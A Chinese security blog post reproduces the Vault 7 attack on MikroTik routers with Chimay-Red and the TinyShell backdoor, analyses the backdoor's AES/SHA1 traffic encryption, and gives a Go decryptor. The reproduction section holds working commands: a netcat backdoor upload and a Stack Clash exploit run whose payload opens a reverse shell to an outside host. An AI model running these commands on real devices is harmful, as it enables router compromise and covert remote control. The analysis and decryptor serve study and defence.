CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

文章首发地址:
https://xz.aliyun.com/t/14361
文章首发作者:
T0daySeeker

概述

写文章还是有一段时间了,发布的文章也是获得了不少小伙伴的关注,同时也和圈子里面的小伙伴慢慢的建立起了联系,平时也会时不时的一起探讨一些技术问题。因此,在最近和小伙伴的交流学习过程中,有一个小伙伴提到了一款远控工具,名字叫tinyshell:

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

刚听到此远控工具的名字,确实感觉没什么映像,不过尝试在网络中搜索了一下此工具,发现此工具是一款轻量级网络设备后门程序,而且其曾被CIA组织所青睐,配合Chimay Red漏洞利用工具对MikroTik路由器发起攻击。相关截图如下:

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

尝试对上述网页进行详细解读,发现此网页为“Vault 7” CIA泄露文档,由维基解密于2017年曝光。基于网络调研信息,发现“Vault 7” CIA泄露文档共计8700余份机密文件,是CIA组织针对外国政府和国内外公民的黑客工具库。

进一步对“Vault 7” CIA泄露文档进行调研,发现泄露文件揭秘了CIA组织在海外间谍活动中如何入侵Android、iPhone、三星电视、Windows PC、Mac、「MikroTik」和其它设备,并详细说明该机构尝试将相关设备变成监听设备的行为。

上述文档即为CIA组织利用MikroTik路由器的详细过程,在其利用过程中,将使用Chimay Red漏洞利用工具向MikroTik路由器上传TinyShell后门开展远程恶意行为。

因此,为了能够更深入的对CIA组织的攻击活动进行剖析,笔者准备从如下几个角度复现CIA组织针对MikroTik路由器的攻击场景及攻击利用过程中的TinyShell后门技术原理:

  • 构建MikroTik路由器漏洞利用套件
  • MikroTik路由器攻击场景复现
  • TinyShell后门功能分析
  • TinyShell后门通信模型剖析
  • 模拟构建通信解密程序

MikroTik路由器漏洞利用套件

为了能够完整复现CIA组织针对MikroTik路由器的攻击场景,需要准备如下漏洞利用套件:

  • MikroTik虚拟机:MikroTik RouterOS系统支持通过VMware虚拟机安装使用
  • Chimay-Red:Chimay-Red是Vault 7泄露文件中提及的针对MikroTik RouterOS系统中www程序的一个漏洞利用工具
  • TinyShell轻量级网络设备后门:TinyShell后门是Vault 7泄露文件中提及的后门程序

环境搭建-MikroTik虚拟机

MikroTik虚拟机的环境搭建可参考社区hackedbylh大佬的《一步一步 Pwn RouterOS之调试环境搭建&&漏洞分析&&poc》文章,MikroTik系统版本选择「6.38.4」,部分关键步骤截图如下:

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

成功安装后,可通过以下登录信息及配置命令配置IP地址:

#登录信息
用户名:admin
密码:空

#
配置命令
ip address
add 

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

IP配置成功后,可基于WEB成功访问MikroTik路由器页面,相关截图如下:

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

漏洞工具套件-Chimay-Red

通过网络调研,笔者在Github的https://github.com/BigNerd95/Chimay-Red项目中发现了Vault 7泄露资料中对应的Mikrotik exploit,相关截图如下:

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

漏洞工具套件-TinyShell轻量级网络设备后门

通过网络调研,笔者在Github上发现了11年前的TinyShell开源项目(https://github.com/orangetw/tsh)。由于开源项目提供了源代码,同时笔者将此开源项目与维基解密中CIA Vault 7泄露资料描述进行了对比,发现其命令行有些许不同,因此,笔者推测CIA组织使用的TinyShell是基于开源TinyShell项目修改的。相关对比截图如下:

  • CIA Vault 7泄露资料描述

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

  • 开源TinyShell项目

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

进一步对此工具进行剖析,发现其由C语言编写,体积小(在kali系统上编译后只有55K大小)。分为客户端和服务端(后门),支持正向连接模式(即服务端在远程运行,攻击者远程直接连接)和反弹连接模式(攻击者在自己服务器监听,服务端连接攻击者机器的监听端口),详细情况如下:

编译

  • 静态编译:「TinyShell开源项目默认是动态编译的,为了能够在MikroTik环境中正常运行,建议将其修改为静态编译」

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

  • 正向连接:修改tsh.h文件中的配置信息,将C&C地址注释,即可成功编译获得正向连接模式的TinyShell程序

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

  • 反向连接:修改tsh.h文件中的配置信息,配置C&C地址信息,即可成功编译获得反向连接模式的TinyShell程序

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

使用方法

基于TinyShell项目介绍,梳理TinyShell的使用方法如下:

#******************正向连接******************
#被控端
umask 077; HOME=/var/tmp
./tshd

#控制端
./tsh 192.168.109.200

./tsh 192.168.109.200 get /home/kali/Desktop/1.txt /home/kali/Desktop/

./tsh 192.168.109.200 put /home/kali/Desktop/2.txt /home/kali/Desktop/

#******************反向连接******************
#控制端
./tsh cb

./tsh cb get /home/kali/Desktop/1.txt /home/kali/Desktop/

./tsh cb put /home/kali/Desktop/2.txt /home/kali/Desktop/

#被控端
umask 077; HOME=/var/tmp
./tshd

MikroTik路由器攻击场景复现

参考“Vault 7” CIA泄露文档,梳理CIA组织针对MikroTik路由器的攻击流程如下:

  • 使用Chimay-Red漏洞利用工具上传TinyShell后门
  • 使用TinyShell控制端连接TinyShell后门
    • 运行指令确认是否具有shell权限
  • 上传busybox至MikroTik系统
  • 使用TinyShell控制端连接TinyShell后门
    • 基于busybox程序在MikroTik系统中开展恶意行为

“Vault 7” CIA泄露文档截图如下:

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

上传并执行TinyShell后门

使用Chimay-Red漏洞利用工具执行如下指令即可实现上传并执行TinyShell后门:

{ echo "echo Uploading..."; hexdump -v -e '"echo -e -n " 1024/1 "\\x%02X" " >> /ram/bashn"' tshd | sed -e "s/\\\\x  //g";echo "chmod 777 /ram/bash";echo "./ram/bash"; } | nc -l -q 0 -p 2345;


./StackClash_x86.py 192.168.109.200 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.109.140 2345 < /ram/f | /bin/bash > /ram/f"

相关操作截图如下:

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

连接TinyShell确认权限

由于TinyShell使用的是正向连接模式,因此直接使用tsh控制端即可连接TinyShell后门:

./tsh 192.168.109.200

相关操作截图如下:

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

上传busybox

「由于MikroTik系统内置的shell指令较少,因此需要上传busybox程序丰富MikroTik系统的shell指令。」

使用TinyShell后门的上传文件功能,即可有效上传busybox程序:

./tsh 192.168.109.200 put busybox-i486 /ram/

相关操作截图如下:

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

连接TinyShell进行远程控制

成功上传busybox程序后,我们即可借助busybox程序中集成的shell指令开展恶意行为活动:

./tsh 192.168.109.200
cd /ram/
chmod 777 busybox-i486
busybox-i486

相关操作截图如下:

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

为什么不使用Chimay-Red的shell功能而使用TinyShell后门?

其实,在这里,可能会有小伙伴有疑问:就是Chimay-Red支持shell功能,但是为什么我们不使用它的shell功能,而要使用TinyShell后门呢?

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

通过实际使用Chimay-Red的shell功能及TinyShell后门,笔者将其做了如下对比:

  • Chimay-Red的shell功能的通信数据包是明文传输的;
  • Chimay-Red的shell功能的操作不是很方便,若需要上传文件等行为,则需要退出shell,再调用Chimay-Red上传文件;
  • TinyShell后门的通信数据包是加密传输的;
  • TinyShell后门支持命令自动补全等特性,且支持上传、下载文件功能。

Chimay-Red的shell功能的通信数据包截图如下:

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

TinyShell后门功能分析

通过分析,发现TinyShell的功能其实很简单,可能是为了更好的兼容并适配各种类型的网络设备环境吧,因此其只具备基本的shell功能及上传/下载文件功能。

下载文件

通过对TinyShell的源码进行剖析,发现tshd_get_file函数为下载文件功能函数,此外,为了更完整的对不同环境下的TinyShell程序进行剖析,笔者还将动态编译及静态编译下的TinyShell反编译代码进行了对比,详细情况如下:

  • 源码

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

  • 动态编译

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

  • 静态编译

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

上传文件

通过对TinyShell的源码进行剖析,发现tshd_put_file函数为上传文件功能函数,此外,为了更完整的对不同环境下的TinyShell程序进行剖析,笔者还将动态编译及静态编译下的TinyShell反编译代码进行了对比,详细情况如下:

  • 源码

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

  • 动态编译

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

  • 静态编译

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

执行shell

通过对TinyShell的源码进行剖析,发现tshd_runshell函数为执行shell功能函数,此外,为了更完整的对不同环境下的TinyShell程序进行剖析,笔者还将动态编译及静态编译下的TinyShell反编译代码进行了对比,详细情况如下:

  • 源码

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

  • 动态编译

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

  • 静态编译

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

外联通信

通过对TinyShell的源码进行剖析,发现pel_send_msg、pel_recv_msg函数为外联通信函数;进一步分析,发现其通信函数中将调用SHA1算法,因此可在其反编译代码中基于SHA1算法的算子快速定位其通信函数,相关情况如下:

  • 源码

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

  • 动态编译-pel_send_msg

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

  • 动态编译-pel_recv_msg

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

TinyShell后门通信模型剖析

通过对TinyShell后门的外联通信函数进行剖析,梳理其通信过程如下:

  • 调用gettimeofday函数及getpid函数获取当前时间tv及进程pid,将tv和pid作为SHA1算法的输入,生成得到「20字节的IV1数据」
  • 调用gettimeofday函数及pid++获取tv及pid,将tv和pid作为SHA1算法的输入,生成得到「20字节的IV2数据」
  • 使用socket套接字发送「40字节的IV1+IV2数据」
  • 提取内置的「key字符串信息」(tsh.h文件中的secret数据)
  • 初始化发送数据及接收数据的session key信息
    • 将key字符串信息及IV1数据作SHA1运算,取「16字节」作为发送数据时AES算法的「AES key」
    • 将key字符串信息及IV2数据作SHA1运算,取「16字节」作为接收数据时AES算法的「AES key」
    • 取IV1数据的前「16字节」作为第一次发送数据时的「AES iv」
    • 取IV2数据的前「16字节」作为第一次接收数据时的「AES iv」
  • 控制端与被控端相互发送内置的challenge数据(x58x90xAEx86xF1xB9x1CxF6x29x83x95x71x1DxDEx58x0D),用于校验通信是否建立成功
  • 发送数据时,每16字节进行一次AES运算,前16字节的加密结果将作为第二段数据加密的IV值
  • 通信数据结构
    • 2字节数据:后续实际载荷长度
    • 实际载荷数据

实际通信数据包截图如下:

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

实际通信数据包案例剖析:

#************第一个通信数据包 tsh -> tshd
b1180d0d0b5c3cd49366af469c313586e29bd96111bae610609d82c733f8b10767e4b0627570ce5f

b1180d0d0b5c3cd49366af469c313586e29bd961 #IV1
11bae610609d82c733f8b10767e4b0627570ce5f #IV2

b1180d0d0b5c3cd49366af469c313586 #初始send_aes_iv
11bae610609d82c733f8b10767e4b062 #初始recv_aes_iv

#************计算send_aes_key
#74696E797368656C6C对应内置的key字符串信息tinyshell
74696E797368656C6C + b1180d0d0b5c3cd49366af469c313586e29bd961

a13e91013d7f4a3ef3a149467af680262c45b141 #SHA1运算结果

a13e91013d7f4a3ef3a149467af68026 #send_aes_key

#************计算recv_aes_key
74696E797368656C6C + 11bae610609d82c733f8b10767e4b0627570ce5f

0813d1deba152c1d2c6dc774293c18ff86f3239b #SHA1运算结果

0813d1deba152c1d2c6dc774293c18ff #recv_aes_key

#************第二个通信数据包 tsh -> tshd
4ff6ac2d77894dbe5355e773c0a6216c8b6fba90ac890c125424c9f3bce4c021cbd0eefd4ea658a45ecfcd49a4efa95177da55e8

00105890ae86f1b91cf6298395711dde580d #AES解密数据
0010 #载荷长度
5890ae86f1b91cf6298395711dde580d #内置的challenge校验数据

#************第三个通信数据包 tshd -> tsh
16516b60fd4b37c540ec7ad3902830c8332393f5a22187147c7cc72e60943c0e36b8a4851cdae3b5058b56af7eed56533743930c

00105890ae86f1b91cf6298395711dde580d #AES解密数据
0010 #载荷长度
5890ae86f1b91cf6298395711dde580d #内置的challenge校验数据

模拟构建通信解密程序

为了更便利的对TinyShell后门的通信数据进行解密,笔者尝试编写了一个解密程序,可对TinyShell后门通信数据进行批量解密,解密效果如下:

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

自动化脚本输入文件格式如下:「(备注:直接从wireshark导出”C Arrays“数据即可)」

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

代码实现

代码结构截图如下:

CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

  • main.go
package main

import (
 "awesomeProject5/common"
 "encoding/hex"
 "fmt"
 "io/ioutil"
 "strings"
)

func main() {
 key := "tinyshell"
 // 读取文件的所有内容
 content, err := ioutil.ReadFile("C:\Users\admin\Desktop\1.txt")
 if err != nil {
  fmt.Println("Error reading file:", err)
  return
 }
 data := string(content)

 data = strings.ReplaceAll(data, "n0x""0x")
 datas := strings.Split(data, "n")

 lable := strings.Split(datas[0], "_")[0]
 //fmt.Println(lable)
 firstdata := strings.ReplaceAll(strings.Split(strings.Split(datas[0], " };")[0], "*/0x")[1], ", 0x""")
 firstdata_hex, _ := hex.DecodeString(firstdata)
 if len(firstdata_hex) == 40 {
  send_aes_key := []byte{}
  recv_aes_key := []byte{}
  send_iv := []byte{}
  recv_iv := []byte{}
  send_aes_iv := []byte{}
  recv_aes_iv := []byte{}
  send_iv = append(send_iv, firstdata_hex[:20]...)
  recv_iv = append(recv_iv, firstdata_hex[20:]...)
  send_aes_iv = append(send_aes_iv, send_iv[:16]...)
  recv_aes_iv = append(recv_aes_iv, recv_iv[:16]...)

  send_aes_key = append(send_aes_key, common.CalculateSHA1(append([]byte(key), send_iv...))[:16]...)
  recv_aes_key = append(recv_aes_key, common.CalculateSHA1(append([]byte(key), recv_iv...))[:16]...)
  fmt.Println("send_aes_key:", hex.EncodeToString(send_aes_key))
  fmt.Println("recv_aes_key:", hex.EncodeToString(recv_aes_key))
  fmt.Println("send_aes_iv:", hex.EncodeToString(send_aes_iv))
  fmt.Println("recv_aes_iv:", hex.EncodeToString(recv_aes_iv))

  decryptedText := []byte{}
  for _, str := range datas[1:] {
   if str == "" {
    break
   }
   buf := strings.ReplaceAll(strings.Split(strings.Split(str, " };")[0], "*/0x")[1], ", 0x""")
   hex_buf, _ := hex.DecodeString(buf)
   if strings.HasPrefix(str, lable) {
    fmt.Println("************send************")
    fmt.Println("Raw Data:", hex.EncodeToString(hex_buf))
    common.Decrypt_msg(hex_buf, send_aes_key, &send_aes_iv)
   } else if strings.HasPrefix(str, "char peer") {
    fmt.Println("************recv************")
    fmt.Println("Raw Data:", hex.EncodeToString(hex_buf))
    common.Decrypt_msg(hex_buf, recv_aes_key, &recv_aes_iv)
    fmt.Println(hex.EncodeToString(decryptedText))
    fmt.Println(string(decryptedText))
   }
  }
 }
}
  • common.go
package common

import (
 "crypto/aes"
 "crypto/cipher"
 "crypto/sha1"
 "encoding/hex"
 "fmt"
)

func Decrypt_msg(ciphertext []byte, aeskey []byte, aes_iv *[]byte) {
 total_len := 0
 blk_len := 0
 for {
  //前两字节为buffer长度
  tmp := []byte{}
  tmp = append(tmp, ciphertext[total_len:total_len+16]...)
  output, _ := DecryptAES(ciphertext[total_len:total_len+16], aeskey, *aes_iv)
  *aes_iv = tmp
  plaintext_len := (int(output[0]) << 8) + int(output[1])

  if (plaintext_len+2)%16 > 0 {
   blk_len = ((plaintext_len+2)/16+1)*16 + 20
   total_len = total_len + blk_len
  } else {
   blk_len = ((plaintext_len+2)/16)*16 + 20
   total_len = total_len + blk_len
  }
  if blk_len > 0x24 {
   aa := decrypt_pel_msg(ciphertext[total_len-blk_len+16:total_len-20], aeskey, aes_iv)
   output = append(output, aa...)
   buffer := []byte{}
   buffer = append(buffer, output[2:plaintext_len+2]...)
   fmt.Println("hex:", hex.EncodeToString(buffer))
   fmt.Println("string:"string(buffer))
  } else {
   buffer := []byte{}
   buffer = append(buffer, output[2:plaintext_len+2]...)
   fmt.Println("hex:", hex.EncodeToString(buffer))
   fmt.Println("string:"string(buffer))
  }
  if len(ciphertext) == total_len {
   return
  }
 }
}

func decrypt_pel_msg(ciphertext []byte, aeskey []byte, aes_iv *[]byte) (plaintext []byte) {
 if len(ciphertext)%16 == 0 {
  blocks := len(ciphertext) / 16
  buffer := []byte{}
  for i := 0; i < blocks; i++ {
   tmp := []byte{}
   tmp = append(tmp, ciphertext[16*i:16*(i+1)]...)
   output, _ := DecryptAES(ciphertext[16*i:16*(i+1)], aeskey, *aes_iv)
   *aes_iv = tmp
   buffer = append(buffer, output...)
  }
  plaintext = append(plaintext, buffer...)
 }
 return
}

func DecryptAES(ciphertext, key, iv []byte) ([]byte, error) {
 block, err := aes.NewCipher(key)
 if err != nil {
  return nil, err
 }

 if len(ciphertext) < aes.BlockSize {
  return nil, fmt.Errorf("ciphertext too short")
 }

 if len(ciphertext)%aes.BlockSize != 0 {
  return nil, fmt.Errorf("ciphertext is not a multiple of the block size")
 }

 mode := cipher.NewCBCDecrypter(block, iv)
 mode.CryptBlocks(ciphertext, ciphertext)

 return ciphertext, nil
}

func CalculateSHA1(input []byte) []byte {
 hasher := sha1.New()

 hasher.Write(input)
 hashBytes := hasher.Sum(nil)

 return hashBytes
}


原文始发于微信公众号(T0daySeeker):CIA组织MikroTik软路由攻击场景复现及后门加解密剖析

版权声明:admin 发表于 2024年4月25日 下午7:24。
转载请注明:CIA组织MikroTik软路由攻击场景复现及后门加解密剖析 | CTF导航

相关文章